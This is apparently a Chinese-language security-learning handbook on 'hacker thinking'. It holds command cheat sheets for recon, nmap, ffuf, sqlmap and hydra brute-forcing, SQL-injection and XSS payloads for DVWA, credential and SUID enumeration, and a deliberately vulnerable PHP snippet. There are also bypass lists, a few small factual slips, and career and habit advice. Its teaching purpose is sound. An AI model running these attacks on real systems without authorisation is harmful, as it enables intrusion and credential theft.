修复:服务端校验 order 归属;使用 UUID 而非自增ID;
增加访问控制中间件;加日志审计。
CWE-639(授权绕过)所有命令仅供自有靶场/授权目标使用。每类给出“最常用一条 + 解释 + 变体”。
# DNS / 域名 whois example.com # 注册信息 dig example.com ANY +short # DNS 记录汇总 nslookup -type=TXT example.com # TXT 记录 # 证书透明日志(被动找子域) curl -s "https://crt.sh/?q=%.example.com&output=json" | jq -r ".[].name_value" | sort -u # 子域枚举(被动优先) subfinder -d example.com -silent
何时用:拿到域名第一件事。被动优先(whois/crt.sh),主动扫描之后再说。
# 常规端口 + 版本 + 默认脚本 nmap -sV -sC -T4 10.0.0.1 # 指定端口 nmap -p 80,443,8080,3306 10.0.0.1 # 全端口(慢,慎用) nmap -p- --min-rate 1000 10.0.0.1 # Web 指纹 whatweb http://10.0.0.1 # 模板扫描(nuclei 可批量但可能产生流量;务必授权) nuclei -u http://10.0.0.1 -t http/ -stats
读结果三看:① 看开放端口 ② 看服务版本 ③ 看脚本输出(如 http-title、http-enum 等线索)。
# dirsearch dirsearch -u http://10.0.0.1 -e php,html,txt,json -w /usr/share/seclists/Discovery/Web-Content/common.txt # ffuf(fuzz 更灵活) ffuf -u http://10.0.0.1/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api.txt -mc 200,301,302 # 参数模糊测试 ffuf -u "http://10.0.0.1/api/search?FUZZ=test" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc 200 -fw 3
信号解读:200=存在;301/302=存在但要重定向;403=存在的但拒绝;404=不存在。注意很多框架对任意路径返回 200,需要排除假阳性。
# 手工查看响应
curl -i "http://10.0.0.1/?id=1" # 看响应头与体
curl -i "http://10.0.0.1/?id=1%27" # 单引号触发潜在 SQLi 报错
curl -X POST http://10.0.0.1/login -d "user=a&pass=b" -i
# sqlmap(保守参数,仅授权)
sqlmap -u "http://10.0.0.1/?id=1" --batch --level=1 --risk=1 --technique=BEUST
# XSS 简单 PoC(反射型)
curl -i "http://10.0.0.1/search?q=<script>alert(1)</script>" --output /dev/null -w "%{http_code}"
注意:自动化工具可能造成大量请求;先用 curl 手工确认再用工具。
# 查看本机网络 ip a; ip route; arp -a # 常见服务枚举 hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.0.0.1 ssh -t 4 # 仅授权 # 查看共享 smbclient -L //10.0.0.1/ -N # 防火墙状态 iptables -L -n; nft list ruleset
安全提示:hydra 爆破会产生大量登录日志,极易触发告警;务必在授权书明确允许、限速、限目标的前提下使用。
id; uname -a; cat /etc/os-release sudo -l # 当前用户 sudo 权限 find / -perm -4000 2>/dev/null # SUID 文件 crontab -l; cat /etc/crontab # 计划任务 env | grep -i pass # 环境变量里的凭证 ps auxf | grep -v "^\[" # 运行的进程 find / -iname "*backup*" -o -iname "*flag*" 2>/dev/null | head -50
原则:提权永远在授权目标上做,且先做“信息收集→判断→再动手”,别上来就编译内核 exp。
# 文件系统快照(保全证据)
tar -czf /tmp/evidence_$(date +%Y%m%d).tar.gz /var/www
# 查看最近修改文件
find /var/www -type f -mtime -7 -exec ls -l {} \;
# 搜索 webshell 常见特征
grep -rl "eval\|base64_decode\|system(" /var/www --include="*.php"
# 网络连接
ss -tunap
# 查看日志中的异常 IP
awk "{print $1}" /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20
# 解压固件
binwalk -e firmware.bin
取证第一原则:copy 而不是打开原件;用 hash(sha256)校验镜像一致性。
第 6 章给了四条赛道的概览。这一章给每条赛道一张“从 0 到可接单/上榜”的路线图、常见坑与进阶资源。
| 赛道 | 入门周期 | 关键资源 | 第一个里程碑 |
|---|---|---|---|
| Bug Bounty | 6-12 个月 | PortSwigger Academy、HackerOne | 提交并采纳第一个报告 |
| CTF | 3-6 个月 | picoCTF、CTFtime、pwn.college | 拿下一道还不会的题的 flag |
| 红队 | 12-24 个月 | OSCP、HTB、AD 靶场 | 完成一次全流程渗透(报告) |
| 蓝队 | 6-12 个月 | SOC 相关的网课、日志分析题目 | 独立分析一次事件并出报告 |
同一种思维,在不同“赛道”有不同的玩法。本章把 4 条热门赛道分别拆开,讲清每条赛道的目标、入口、流程、工具、评分标准和踩坑点。
在厂商授权的范围内找漏洞并提交,换取赏金与声誉。
在虚拟靶场里解谜并拿到 flag,是训练黑客思维的最便宜方式。
| 类别 | 题目例 | 入口 |
|---|---|---|
| Web | 源码审计、SQLi、SSTI、反序列化 | 看路由/参数/源码 |
| Reverse | 魔改加密、VM 壳、混淆 | 找入口函数、字符串 |
| Pwn | 栈溢出、堆利用 | 分析二进制防护(checksec) |
| Crypto | 经典密码、RSA 弱密钥 | 识别算法/参数 |
| Misc | 隐写、流量分析、取证 | file/binwalk/wireshark |
| Forensics | 内存取证、日志分析 | Volatility、grep |
利用“人”的信任、情绪、习惯来达成目标。社工很难,因为人类心理防线的漏洞大多“设计者没想到”。
从产成品反推设计:程序、固件、协议、加密逻辑。
| 工具 | 用途 |
|---|---|
| file / strings / binwalk | 识别格式、提取字符串/固件 |
| DIE / Exeinfo | 检测语言/编译器/壳 |
| IDA / Ghidra | 反汇编、反编译、交叉引用 |
| x64dbg / gdb | 动态调试 |
| Frida | 运行时 hook(仅授权环境) |
| CyberChef | 编码/解码/加解密工具箱 |
黑客思维不是“攻击别人的工具包”,它是一整套高阶解决问题的操作系统。这一章把思维模型翻译成普通人日常可用的技能。
用 30 天建立“观察-假设-验证-利用”的肌肉记忆。
| 周 | 主题 | 每日 30-60 分钟 |
|---|---|---|
| W1 | 看到系统 | 每天给一个对象画“输入-处理-输出”;熟悉 curl / F12 |
| W2 | 会提问 | 每天 5 个“为什么不”+ 一台靶机(如 DVWA/靶场)简单 Recon |
| W3 | 会枚举 | dirsearch/ffuf 在自己的靶场枚举;记录信号 |
| W4 | 会验证 | 选 1 个 Web 漏洞(如 IDOR/XSS)在靶场完整 IMEVA 一遍,写报告 |
工具会用即可,不必背参数;重点是让“五步循环”成为本能。
它把信任边界翻译成了动作:“在没有独立验证之前,不信任任何自称身份的通道”。这就是黑客思维最接地气的用法。
关系不是“一件事”,是反馈环:A 的行为 → 影响 B 的情绪 → 反作用回 A。用系统思考看关系:
迷茫时别只盯着“最喜欢的”,先枚举全部选项:
这就是把“奥卡姆 + 迭代逼近”用在人生决策上。
这一章不讲技术,讲“把黑客思维落地成每天可重复的习惯”。每一个习惯都对应一个前面讲过的模型,并给出具体操作。
对应模型:系统视角(1B/3.10)
操作:每天选一个对象(App、流程、菜谱、会议),在纸上/备忘录画:
输入(食材备料)→ 处理(煎炒焖)→ 输出(成品菜) 输入(会议议题)→ 处理(讨论决策)→ 输出(行动项)
加问:如果我不按这个流程走呢?(反惊讶)哪一步可以被跳过/篡改/重复?(信任边界)
坚持 21 天,你会自动用这个框架看世界。
对应模型:提问力(2.2)
操作:遇到任何“怪事/失败/低效”,连续问 5 次为什么,追到根因。
为什么项目延期?→ 因为开发晚了两周 为什么开发晚?→ 因为需求变更频繁 为什么需求变更多?→ 因为前期调研不足 为什么调研不足?→ 因为没人做用户验证 为什么没人做?→ 因为流程里根本没设这一环 ← 根因!
注:根因通常出现在“流程/文化/结构”,而不是“人”。
对应模型:验证力(2.4)、迭代逼近(3.12)
操作:每周选一个“假设”做一次最小实验。比如:
原则:一次只改一个变量;记录数据;用数据说话。
对应模型:对手视角(3.11)、信任边界(3.2)
操作:每月找一个真实的诈骗/钓鱼案例(新闻、RSA 报告),做三件事:
这个习惯让你的防骗能力与诈骗手法同步进化。
对应模型:红队思维(3B.7)、反脆弱(3B.12)
操作:每周日写三行复盘:
对应模型:第一性原理(3B.1)、逆向思维(3.1)
操作:不用“等学会再输出”,而是“边学边输出”:博客、GitHub、笔记、给朋友讲。输出倒逼输入,也会帮你发现“我以为懂但说不清”的部分(费曼学习法)。黑客精神本身是“作品说话”。
这 7 条做完,你已经领先 80% 的普通人。
生活黑客的边界:你可以优化你的系统、你的流程、你的习惯——但不要用黑客思维去操纵别人(PUA、欺骗、控制)。“理解系统”和“尊重他人”不冲突。
五个可以在几小时内完成的进阶实操,覆盖前面讲过的模型与工具。全部在自有/授权环境。
DVWA 或 Juice Shop(支持多账号)或你自己写的测试应用。
产出:一页纸报告 + 一条修复建议。
Juice Shop 的某表单(如注册礼品卡、下单)有前端价格校验。
收获:直观理解“为什么密码不能明文传”。
import requests, time
words = ["admin","backup","api","config.php","index.php","robots.txt",".git","phpinfo.php"]
for w in words:
r = requests.get(f"http://127.0.0.1:8080/{w}", timeout=3)
print(w, r.status_code, len(r.content))
time.sleep(0.2)
收获:理解 dirsearch 的原理(这脚本是它的“种子”)。
自己造一个“被入侵”的备份目录(故意放个 webshell 文件、加个后门用户记录、改个 crontab)。
收获:提前熟悉应急响应,遇到真实事件不慌。
把“去哪里学、用什么书/站、带什么卡片”收拢成一张总表。
| 分类 | 资源 | 价值 |
|---|---|---|
| Web 实验 | PortSwigger Web Security Academy | 免费、分类型实验、含校验 |
| 本地靶场 | DVWA、OWASP Juice Shop | 可下镜像、安全练习 |
| 综合靶场 | HackTheBox、TryHackMe、VulnHub(免费部分) | 大量实战靶机 |
| CTF | picoCTF、CTFtime、pwn.college | 系统训练+比赛 |
| 文档/词典 | MDN(Web)、OWASP Top 10、MITRE ATT&CK、CWE | 标准知识源 |
| 中文社区 | 看雪(逆向)、先知(安全研究)、freebuf | 中文案例与文章 |
| 视频/课程 | B 站安全入门、Coursera 网络基础 | 补充概念,别只看不练 |
书籍是“深度”,实操是“宽度”,两者都要。
【HTTP 状态速查】 2xx 成功 | 3xx 重定向 | 401 未认证 | 403 无权限 | 404 未找到 | 500 服务器错误 【常见端口】 22 SSH | 80 HTTP | 443 HTTPS | 3306 MySQL | 3389 RDP | 6379 Redis | 8080 代理/备用Web 【密码安全条】 - 所有密码唯一且随机 - 必开 2FA - 不放同一个信息里 - 泄露清单查:haveibeenpwned
任何一个环节缺失,学习都会断裂:只学不练=眼高手低;只练不记=忘光;只记不复盘=原地踏步。
本章给你 3 个可以照着做的完整流程:① 在本地用 DVWA 练一遍 SQL 注入;② 用代码审计思维分析一个简单 PHP 靶场;③ 用取证思维分析一个 PCAP。每步都有命令、预期输出、避坑。
⚠️ 全部在本地虚拟机 / 自有靶场执行,不要对任何未授权目标复现。
docker run -d -p 8080:80 vulnerables/web-dvwa
I(输入):DVWA SQL Injection 页面的输入是 URL 参数 id。
M(测绘):输入 1 显示 User ID: 1,说明参数被拼进 SQL 并回显。
E(枚举):依次测试:
?id=1' -- 触发 SQL 语法错误(报错可见) ?id=1'' -- 恢复正常(说明被拼进单引号字符串) ?id=1' OR '1'='1 -- 显示所有用户(逻辑绕过成功)
V(验证):1' OR '1'='1 稳定显示多行 → 确认存在基于错误的注入点,且可绕过 WHERE 条件。
A(评估):影响:可越权读取数据库内容;修复:参数化查询 + 最小权限数据库账号。
ID: 1' OR '1'='1 First name: admin Surname: admin ID: 1' OR '1'='1 First name: Gordon Surname: Brown
目标是自己写的/靶场提供的 PHP 脚本。下面是一个“有问题”的示例(仅学习):
<?php
$id = $_GET['id'];
$conn = new MySQLi('localhost','root','','demo');
$sql = "SELECT * FROM users WHERE id = '$id'";
$res = $conn->query($sql);
if ($row = $res->fetch_assoc()) { echo $row['name']; }
?>
$_GET['id'] 直接来自用户。$id 的内容,直接拼进 SQL。$sql 进入 query() —— 经典的 SQL 注入 sink。?id=1' OR '1'='1 → 逻辑绕过。$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?"); 参数化。$_GET/$_POST/$_COOKIE/$_FILES 是否被过滤/参数化?eval()、system()、exec()、include() 的输入来自哪?拿到一个 pcappng 文件(自己抓的,或 CTF 取证题)。用 Wireshark 找“攻击痕迹”。
http.request 过滤看 GET/POST;http.request.method == "POST" 找可疑提交;dns 看解析了哪些域名。export objects 导出可疑文件。http.request # 所有 HTTP 请求 http.request.method == "POST" # 只 POST tcp.flags.syn == 1 && tcp.flags.ack == 0 # SYN 扫描疑似 ftp || telnet # 明文协议(可能泄露凭证) data.data contains "flag" # 关键内容
下面 3 句描述,请选择对应的漏洞类型:
分 4 组:观察/提问练习、枚举/验证练习、综合运用练习、生活迁移练习。每题都是 5-30 分钟可完成的小任务,完成后打钩。
把散落在各章的工具、命令、清单收拢成一个随时能翻的“瑞士军刀”。
| 用途 | 工具 | 一句说明 |
|---|---|---|
| 网络请求 | curl / Burp Suite / Postman | 发请求、改包、重放 |
| 侦察 | whois / dig / nslookup / crt.sh | 域名与证书信息 |
| 子域名 | subfinder / amass(被动优先) | 收集子域资产 |
| 端口扫描 | nmap | 端口、服务、脚本、OS |
| 目录枚举 | dirsearch / ffuf / gobuster | 路径与参数 FUZZ |
| Web 指纹 | whatweb / wappalyzer / nuclei | 识别技术栈与模板扫描 |
| Web 漏洞 | Burp Suite / sqlmap(保守) | 手工+辅助自动化 |
| 逆向 | file / strings / DIE / IDA / Ghidra / x64dbg | 静态+动态分析 |
| 取证 | Wireshark / tshark / Volatility / binwalk | 流量/内存/固件 |
| 编码加解密 | CyberChef / hashcat / John | 编码/哈希/口令恢复 |
| 脚本自动化 | Python + requests / pwntools / Frida | 写 PoC 与 hook |
| 靶场 | DVWA / OWASP Juice Shop / HackTheBox / TryHackMe | 合法练习环境 |
别追求一次装全会用——每类先精一个:请求类先学 curl + Burp;逆向先学 file + strings + Ghidra 入门。
| Day | 动作(约30-60分钟) | 对应章节 |
|---|---|---|
| 1 | 读导读+世界观;做咖啡店观察练习 | 0-1 |
| 2 | 给 3 个网站画“输入-处理-输出” | 1-2 |
| 3 | 学 curl 发送 GET/POST,抓自己网站 | 2-5 |
| 4 | 装 DVWA(Docker)并初始化 | 8 |
| 5 | DVWA SQLi Low 完整跑一遍 IMEVA | 4-8 |
| 6 | 学 5W1H 提问,对 DVWA 提 10 个问题 | 2 |
| 7 | 复习:写一篇 200 字“我学会了什么” | - |
| 8 | 学 nmap 基本用法,扫自己本机(只扫 localhost) | 5 |
| 9 | 学 dirsearch 在自己的靶场枚举 | 5 |
| 10 | 审计实操2的 PHP 示例 | 8 |
| 11 | 学 XSS:DVWA XSS low 走一遍 | 8 |
| 12 | 学 Burp 基本改包与重放 | 5-9 |
| 13 | 给 DVWA 的漏洞写报告(1页) | 5-8 |
| 14 | 复盘前两周,整理错题 | - |
| 15 | 学 Wireshark 打开一个样本 pcap 看协议分布 | 8 |
| 16 | 学 PCAP 取证流程(实操3) | 8 |
| 17 | 学 file/strings/hexdump 看一个二进制 | 6-9 |
| 18 | Ghidra 入门:打开一个 CTF 简单程序看 main | 6 |
| 19 | CyberChef:Base64/URL/Hex 编解码练习 | 9 |
| 20 | Hashcat/John 在自己生成的 hash 上练习 | 9 |
| 21 | 生活中防骗清单逐条自检 | 7 |
| 22 | 对自己最近一个难题用“假设驱动”求解 | 7 |
| 23 | 读 2 篇 HackerOne 公开报告,总结套路 | 6 |
| 24 | 在靶场复现 IDOR(越权) | 4-8 |
| 25 | 学习写 PoC 脚本(python+requests 发一次注入) | 9 |
| 26 | CTF 选一道 Web 题独立完成 | 6 |
| 27 | CTF 选一道 Reverse 题独立完成 | 6 |
| 28 | 把一个月练习整理成《我的漏洞研究手册》 | - |
| 29 | 用 IMEVA 分析一个真实业务问题(任意) | 4-7 |
| 30 | 复盘、定下一月目标 | - |
你现在拥有了一副“黑客的眼睛”:看得到输入、边界、隐藏的假设、最脆弱的层。这副眼睛可以让你找到能绕过收费的按钮——也可以让你找到别人订单一角的密码;它真正的力量不在于“攻破什么”,而在于你开始看见那些大多数人看不见的东西。
看见即选择。职业玩家、防御者、研究者、生活黑客——帽子颜色由你决定,但思维本身已经是你的核心资产。保持好奇,保持伦理,保持练习。
—— 黑客思维手册 · v1.0 ——
按主题聚合的核心术语,每条都是“可立即使用的知识”:定义 + 用法/防御 + 相关模型。
系统所有可被外部触达的入口总和。包括代码入口(API/表单)、配置入口(默认口令/调试开关)、协议入口、依赖入口(第三方库/上游)、人的入口(员工/供应商)、物理入口。攻击面思维 = 永远维护一张“门清单”。防御第一准则是缩小攻击面:关掉不用的端口、下线老版本、去掉调试接口。攻击面随时间变化:新功能、新依赖、新员工都会扩大它,所以安全评估需要定期重跑。
系统中“一方信任另一方”的分界线。信任边界分析(3.2)是找漏洞的核心思路:画出实体与信任箭头,问每个箭头“信任的证据是什么?能被伪造吗?”几乎所有漏洞的本质都是信任放错了地方:服务器信任用户输入、客户端信任服务器响应、程序信任内存指针、人信任来电号码。
系统性地列出并测试所有合理可能的过程。枚举是黑客最朴素也最强大的工具:不知道密码就列出候选密码,不知道路径就猜目录,不知道参数就 FUZZ。枚举三前提:定义候选空间、选字典/规则、定义停止条件与速度。分层枚举(小字典→中字典→大字典)+ 加权枚举(从命名习惯推导)+ 止损枚举(设定命中率阈值)。
用对照实验把“信号”变成“可复现结论”的过程。验证黄金四步:写假设→设计对照(A/B)→执行并记录(一次只改一个变量)→结论(支持/否定)。避免陷阱:巧合相关、单次成功、变量污染、幸存者偏差。验证力是新手最缺的能力:很多人看到现象就下结论。
本书提出的漏洞研究方法流水线:Input(输入)→ Map(测绘)→ Enumerate(枚举)→ Verify(验证)→ Abuse(利用/评估)。五个阶段分别问:系统吃了什么?系统长什么样?每种可能是真的吗?信号是结论吗?影响多大?对应产出:输入点清单→攻击面地图→信号列表→可复现结论→PoC+报告。
把最终目标搬到起点,从终点倒推路径的思考方式。黑客第一素质。应用:不知道注册算法就倒推注册成功需要什么;不知道密码就倒推校验逻辑。注意逆向后要做正向验证,避免“倒推出的路径其实不存在”。
在能解释现象的解释中,优先验证最简单的那个。用在 debug:Wi-Fi 断了先检查电源再怀疑黑客。用在决策:先选最简单的方案测试。但简洁不等于正确:当证据指向复杂解释时,不要为了省事无视证据。
微软提出的威胁建模框架,系统性地枚举六类威胁:Spoofing(伪装)、Tampering(篡改)、Repudiation(抵赖)、Information Disclosure(信息泄露)、Denial of Service(拒绝服务)、Elevation of Privilege(权限提升)。用法:画数据流图,对每个数据流/处理问 STRIDE 六问,按风险排序,为高风险设计缓解。
不依赖单点防御,而是叠加多层不同防御,任何一层被突破,下一层仍能阻挡或检测。Web 应用示例:WAF(边界)+ TLS(传输)+ 参数化查询(应用)+ 数据库最小权限(数据)+ 离线备份(灾难恢复)。注意是“多层不同防御”而不是“多层同样防御”,否则只是心理安慰。
任何主体(用户/进程/脚本)只拥有完成任务所需的最小权限。应用:数据库账号不用 root 跑 Web 应用;给 App 授权最小权限;给家政服务只开需要的门。最小权限要定期审计:人的职责会变,权限不会自动变小。
用户输入被当作 SQL 代码拼接执行的漏洞。发现:单引号触发报错→恒真条件(' OR '1'='1 )绕过→ORDER BY 探测列数→UNION 找回显位→提数据。修复:预编译参数化查询(输入永远当数据)、白名单校验、最小数据库权限、关闭报错回显。
用户输入未过滤地被渲染为 HTML/JS,导致恶意脚本在受害者浏览器执行。三种类型:反射型(即时回显)、存储型(入库受影响所有人)、DOM 型(纯前端)。修复:输出编码(HTML 实体转义)+ CSP + HttpOnly Cookie。发现技巧:输入特殊字符 <>&"' 观察是否原样输出,再按上下文(属性/标签间/JS 里)写 payload。
受害者在已登录状态下,被恶意页面诱导发出“合法”请求,伪造其身份操作。与 XSS 区别:XSS 注入脚本进页面,CSRF 诱导浏览器代发请求。修复:CSRF Token + SameSite Cookie + 二次验证 + Referer/Origin 校验。发现:状态变更请求无 Token 且 Cookie 自动携带。
后端校验了“是否登录”,却没校验“数据是否属于当前用户”的漏洞。发现:两个账号各建资源,用 A 的会话访问 B 的 ID。分水平越权(同角色看别人数据)和垂直越权(低权限干高权限事)。修复:服务端以会话身份为准、UUID 替代自增 ID(仍需归属校验)、对象级授权(OWASP BOLA)。
服务端把用户可控 URL 拿去请求,导致可访问内网/云元数据。发现:找 URL 输入点(图片 URL、文档导入、Webhook、PDF 生成),输入 127.0.0.1 观察响应。修复:URL 白名单、禁用重定向、禁用私网段、解析后二次校验 IP。云元数据(169.254.169.254)只在自己账号测试。
用户输入拼进系统命令(ping/whois/文件名)导致的 RCE。发现:命令分隔符测试(; ?& ?| ?`cmd` ?$(cmd)),回显 whoami 确认。修复:避免系统命令、参数化 exec(禁用 shell=True)、白名单校验。
上传文件的类型/内容/存储位置校验不严,导致恶意文件被存储或执行。发现:上传点测试 .php/.svg/.html 等扩展名,观察是否被拦截、能否访问/执行。绕过:双扩展名、大小写、点/空格结尾、Content-Type 伪造、图片马。修复:扩展名白名单 + 真实内容检测 + 随机重命名 + 存储目录禁执行。
将不可信数据反序列化为对象时,可触发任意方法(PHP __destruct、Java readObject、Python pickle)的漏洞。发现:识别序列化数据形态(Base64 PHP 序列化、Java 序列化头 ac ed 00 05),用 gadget 链生成 payload。修复:不接受不可信序列化数据、签名/加密、白名单类、升级依赖。
用户输入被当作模板引擎语法执行(Jinja2、Twig、Freemarker)。发现:输入 {{7*7}} 若输出 49 则存在。修复:模板沙箱/白名单、用户内容与模板代码分离。注意不同引擎 payload 完全不同,先识别引擎。
XML 解析器允许外部实体引用,可读取本地文件/内网。发现:XML 输入(SOAP/DOCX 解析/API XML body)构造带 DOCTYPE 的 payload 读 /etc/passwd。修复:禁用外部实体/DTD、安全解析库。Blind XXE 需 OOB 接收服务器(自建)。
JSON Web Token,三部分 header.payload.signature,用于无状态认证。漏洞:弱密钥可爆破自签、alg=none 算法混淆、过期校验缺失。修复:强随机密钥、固定算法、正确验证签名与过期。JWT 被服务器信任,若密钥弱则可冒充任意用户——典型的“信任可被伪造”。
Two-Factor Authentication,两种不同因素的认证:知识(密码)+ 持有(手机/硬件密钥)或生物。可大幅降低凭证泄露风险。应用:邮箱、银行、社交、密码管理器全部开启。攻击者视角:2FA 是可绕过的(SIM 卡劫持、钓鱼代理),但仍是性价比最高的防御。
Web Application Firewall,在应用层拦截恶意请求的设备/服务。常见绕过:编码变体、分块传输、大小写、注释内容、参数污染、协议混淆。评估:WAF 不是万能,看它防护哪些路径、规则能否被绕过、有没有非 Web 面(SSH/API/子域)。
Web 渗透测试的瑞士军刀:Proxy(拦截)、Repeater(单请求重放)、Intruder(批量模糊测试)、Decoder(编解码)、Comparer(差异对比)、Playwright(浏览器自动化)。学习路径:先 Proxy+Repeater,再 Intruder,最后自动化扩展。
网络端口扫描与指纹识别工具。常用参数:-sV(版本)、-sC(默认脚本)、-p-(全端口)、-T4(速度)、-O(操作系统识别)。读结果三看:开放端口、服务版本、脚本输出。只用授权目标。
目录枚举与模糊测试工具。dirsearch 专攻目录;ffuf 通用 fuzz(目录/参数/子域/Host)。信号解读:200=存在;301/302=存在但重定向;403=存在但拒绝;404=不存在。注意框架对任意路径返回 200 的假阳性。
网络流量分析工具。入门三过滤:http.request、tcp.port==443、ip.addr==x.x.x.x。取证流程:Protocol Hierarchy 看协议分布→Conversations 看主机对→Follow TCP Stream 看完整会话→Export Objects 导出文件。
NSA 开源的逆向工程工具,含反汇编 + 伪代码反编译。看代码技巧:先 main→找关键字符串的交叉引用→读 Decompiler 伪代码,不要逐行读汇编。适合静态分析大程序。
动态插桩框架,能在运行中的程序上 hook 函数、改参数、dump 内存。适合:安卓/小程序逆向、验证登录逻辑、内存分析。使用:frida -U -f package.name -l script.js,配合 Python 脚本自动化。只在授权/自有环境用。
“网络厨具”:在线编解码/加解密/哈希/压缩工具箱。一个输入框加 Recipe(配方),支持 Base64、URL、Hex、AES、RSA、magic(自动识别)。逆向与取证必备。
自动化 SQL 注入检测与利用工具。安全用法:先手工确认注入点,再加 --batch --level=1 --risk=1 --technique=BEUST 保守参数。危险操作 --os-shell 只在授权/靶场。工具可能发出大量请求,务必限速限目标。
口令哈希恢复工具。hashcat 用 GPU 提速、支持掩码与规则;John 综合字典/规则/增量。只对自己生成的 hash 或授权的密码测试。
著名安全测试字典集(Daniel Miessler)。分类齐全:QDiscovery/Web-Content/(网站内容)、Usernames、Passwords、Parameter-Names 等。用前先看字典结构,理解为什么这些词能命中,比背命令更有价值。
Damn Vulnerable Web Application,本地漏洞靶场(Docker 一键起)。覆盖 SQLi、XSS、CSRF、文件上传、命令注入等经典漏洞,可切换 Low/Medium/High 安全级别。新手必练第一站。
OWASP 出品的高度仿真的“不安全商城”,覆盖 100+ 漏洞与真实业务逻辑(改价、优惠券、垃圾邮件、供应链)。适合练手动业务审计。
综合渗透靶场平台,海量靶机与漏洞环境。HTB 偏真实渗透流量大,TryHackMe 偏教学引导友好。适合进阶练习综合路径。
CMU 主办的 CTF 平台,对新手极友好,题目分 Web/Reverse/Pwn/Crypto/Forensics/Misc,自带教程。适合系统练习 CTF 思维。
免费、最优质的 Web 漏洞实验平台,覆盖 SQLi/XSS/CSRF/IDOR/SSRF/SSTI/XXE 等全类型,含正确与错误解法与讲解。Web 学习的首选。
O object网页安全十大风险(官方年度更新):A01 访问控制失效(越权)、A02 加密失败、A03 注入(SQLi)、A04 不安全设计、A05 安全配置错误、A06 易受攻击和过时的组件、A07 身份识别与认证失败、A08 软件与数据完整性失败、A09 日志与监控失败、A10 SSRF。报告常用它评级。
攻击者战术(Tactics)与技术(Techniques)知识库,覆盖初始访问、执行、持久化、提权、防御规避、凭证访问、发现、横向移动、收集、命令与控制、渗漏、影响 12 个战术。红队用它规划路径,蓝队用它建立检测。
CVE:公共漏洞编号(CVE-年份-编号),用于唯一标识漏洞;CWE:公共弱点枚举(如 CWE-79 XSS、CWE-89 SQLi),用于分类;CVSS:通用漏洞评分系统(0-10 分),用于定严重度。报告里一条发现通常写 CVE/CWE + CVSS 分数。
概念验证/最小利用演示:证明漏洞存在且产生影响的精简步骤/代码。规范 PoC 要求:可复现(给出完整请求与预期响应)、最小影响(只证明不破坏)、可取证(时间戳)、语言清晰。
厂商授权范围内提交漏洞获取赏金的活动。国外平台:HackerOne、Bugcrowd;国内:补天、漏洞盒子、各厂商 SRC。第一课:读 Scope 与规则,绝不越界。报告质量 = 赏金高低的第一决定因素。
模拟真实攻击者,以授权方式进行全链路攻击演练(目标导向:拿域控/核心数据),用于验证组织防御。蓝队从中学习检测与响应。红队思维核心:目标导向 + 想象力 + 隐蔽性。
负责检测、阻止、响应、恢复的防御方。核心能力:观察力(日志)、分析力(关联)、沟通力(报告/执行)。工具:SIEM、EDR、IDS、威胁情报、蜜罐。蓝队看日志,红队写日志。
以授权方式对目标进行系统性的安全评估,模拟真实攻击发现漏洞并输出报告。七阶段:侦察→扫描→枚举→利用→提权→横向→报告。最终交付物是报告,不是“shell”。
利用人的信任、情绪、习惯达成目标。六种影响力武器:互惠、承诺一致、社会认同、权威、稀缺、好感。防御:任何“紧急+权威+独家”组合先踩刹车,重要操作走独立验证通道。
Open Source Intelligence,从公开渠道收集信息:搜索引擎、社交、证书日志、GitHub、暗网索引。侦察的地基,也直接用于生活(查证真伪)。被动优先,风险最低。
渗透第一阶段:收集中公开信息(域名/IP/技术栈/员工)建立“画布”。子阶段:基础设施(whois/DNS/证书)、员工(社交媒体)、技术(响应头/JS)。原则:能被动就不主动。
内网中从一台机器到另一台,寻找更有价值目标。常用:Pass-the-Hash、RDP/SSH 复用、计划任务、PSRemoting、共享凭证。横向最容易“越界”,每步重新确认授权。
从低权限提升到高权限。Linux 常见面:SUID 文件、sudo -l、计划任务、内核 CVE;Windows 常见:服务权限、注册表、令牌、已知提权 CVE。原则:先信息收集再动手,优先虚拟机。
事件(入侵/勒索/数据泄露)发生后的处置流程:保全→分析→遏制→根除→恢复→复盘。核心是“时间线 + 入口还原”。第一戒:不要改原件,先做镜像与哈希。
蓝队主动假设“已被入侵”,主动寻找异常而非被动等告警。方法论:假设驱动 + 数据挖掘 + 取证验证。与自动告警不同,威胁狩猎是“人在回路”的高级工作。
故意暴露的诱饵系统/服务,用于观察攻击者行为、收集情报、拖延时间。防御者用它了解“谁在打我、怎么打”。红队要识别蜜罐(指纹与真实系统差异)。
0day:未被厂商修复且无补丁的漏洞(价值最高);N-day:已公开补丁的漏洞(利用已披露)。N-day 武器化 = 补丁差分分析(对比补丁前后找漏洞点)。
自动生成大量畸形/随机输入,观察程序异常,发现崩溃与漏洞。工具:AFL++、libFuzzer、Burp Intruder(参数 fuzz)。原则:带上假设与记录,否则是随机碰运气。迭代逼近模型的自动化版本。
Shell:命令执行环境(反弹 shell / 交互 shell);WebShell:放在 Web 目录的脚本后门(.php/.jsp),通过 HTTP 执行命令。应急响应中最常见的后门形态:eval 字符串、base64_decode、system 调用。
内网穿透与流量转发技术:SSH 隧道、SOCKS 代理、frp、Chisel。红队用来访问内网、绕过出口限制;蓝队要审计异常长连接与外联。
C2(命令与控制)服务器:红队控制已控机器的中心节点,被控端(implant)回连 C2 接收指令。Cobalt Strike 是典型框架。检测:异常外联、周期心跳、dns/HTTPS 隧道。
伪装成可信方诱导受害者点击/输入/转账的社工攻击。变种:鱼叉钓鱼(定向)、水坑攻击(攻陷常访站点)、商业邮件欺诈(冒充高管)。防御:域名检查、独立验证、防骗演练。
加密受害者的数据并索要赎金的恶意软件。防御核心:3-2-1 备份(3 份副本、2 种介质、1 份异地)+ 最小权限 + 应用白名单 + 及时补丁。中了别慌:隔离、报告、不轻易付赎金。
事后还原事件真相的技术:磁盘取证(文件时间/删除恢复)、内存取证(Volatility)、网络取证(PCAP)、日志分析。第一原则:保全(镜像+哈希)不改原件。
把信息藏进载体(图片/音频/视频/文件)的隐蔽通信技术。CTF Misc 常考:图片尾部数据、LSB 隐写、EXIF、压缩包伪加密。工具:binwalk、zsteg、steghide。
逐个尝试候选密码/密钥的穷举攻击。类型:纯爆破(全组合)、字典攻击(常见口令)、规则攻击(组合变形)、凭证填充(泄露密码复用)。防御:限流、锁定、2FA、强密码策略。
利用数据泄露中的用户名/密码组合,批量尝试其他平台(密码复用漏洞)。防御:密码管理器生成唯一密码、检查 haveibeenpwned、2FA。
